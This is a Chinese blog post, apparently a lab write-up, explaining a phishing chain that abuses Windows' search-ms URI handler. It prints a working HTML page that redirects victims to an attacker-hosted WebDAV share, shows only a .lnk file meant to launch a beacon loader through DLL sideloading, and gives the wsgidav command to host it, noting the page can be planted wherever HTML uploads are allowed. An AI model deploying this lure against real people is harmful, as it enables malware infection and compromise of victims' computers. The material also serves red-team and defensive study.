html钓鱼姿势分享

0x00 实验环境

靶场:全新的windows笔记本,kali

 

0x01 实验前提

(1)学习国外大佬的文章

攻击链:
Email --> invoice.pdf --> 包含一个链接 --> search-ms:query=decoy&crumb=location:\\\\127.0.0.1@5000\\dec&displayname=Hello,is it me you\'re looking for? --> invoice.lnk --> beacon.exe -->beacon.dll

(2)动手实战

文章一分钟,复现半小时

 

0x02 实验步骤

(1)根据钓鱼的思路,首先发一封email邮件,这里省去发钓鱼邮件的过程。直接从包含一个链接开始。
如下是老外的示例网站:
https://dav.binary-offensive.com/webdav/searchms.html

 

当我们去访问的时候,页面会要求我们打开资源管理器。先点击取消,右键查看源代码。可以看到这里是通过search-ms:query=test&crumb的方式来打开远程服务器上的文件,并且只会显示test命名的文件。

 

其实这里的search-ms:query=test&crumb和我们直接使用exploerer.exe打开是差不多的。我们现在点击打开。可以看到他会自动打开资源管理器,里面只会显示一个test命名的文件,其他文件是不会显示的:

 

(2)那么如果我们自己去搭建一个这样的html页面,然后我们只显示lnk文件其他文件都不显示的话,当目标点击lnk文件的时候会执行我们的白程序,然后去调用我们的黑dll。但是在这之前我们需要去搭建一个WebDav来托管我们的文件,在kali安装以下工具包:
apt-get install python3-wsgidav
WSGI是什么?

WSGI,全称 Web Server Gateway Interface,或者 Python Web Server Gateway Interface ,是为 Python 语言定义的 Web 服务器和 Web 应用程序或框架之间的一种简单而通用的接口。自从 WSGI 被开发出来以后,许多其它语言中也出现了类似接口。

WebDAV 是什么?

WebDAV(Web Dub)是一种技术和功能,可以使用Web服务器进行文件共享和编辑,目前可用于许多租赁服务器计划,还有用户自己设置VPS等方法。

WebDAV类似于当前流行的Google Drive等在线存储服务,云上的多个用户可以相对安全地进行文件共享和编辑。

 

(3)现在我们还需要去仿照老外的页面去做一个一模一样的页面即可。
如下代码:这里的192.168.31.242是我的kali ip,dec是目录,这里的query参数查询的是以lnk命名文件。
<html>
<head>
<title>search-ms</title>
<script>
window.location.href = 'search-ms:query=lnk&crumb=location:\\\\192.168.31.242@5000\\dec&displayname=Hello, is it me you\'re looking for?';
</script>
</head>
<body>
<center>
PoC triggering Microsoft's <b>search-ms</b> URI handler to open
up Explorer previewing attacker's WebDAV contents.</br>
This is to lure victims into opening malicious files which could
have led to their computers infection.<br/>
</center>
</body>
</html>

(4)开启服务:在当前路径下开启5000端口。设置认证为匿名认证:

wsgidav --port=5000 --host=0.0.0.0 --root=./ --auth=anonymous

 
(5)可以看到,当我们去访问test.html时,会提示我们是否打开这个页面,这里因为是本地,我们直接双击打开,所以这里是file://想要打开应用程序,一般的话我们挂在我们的钓鱼网站即可,或者挂载在比如说有漏洞的地方,可以上传html文件的地方都是可以的。

 

 

(6)当我们去点击打开的时候。可以看到页面会显示一个1.lnk文件,因为这个文件我们没做任何处理,所以是没有图标的。 

 

0x03 一些思考

(1)以前说上传文件不能getshell的场景,用处都不大,现在发现只是因为自己了解的知识太少了;

(2)有的电脑运行html并不能成功打开资源管理器,可能是谷歌版本太低导致;

(3)多学习外国佬的文章,会涨很多姿势。

posted @ 2024-03-17 21:00  铺哩  阅读(175)  评论(0编辑  收藏  举报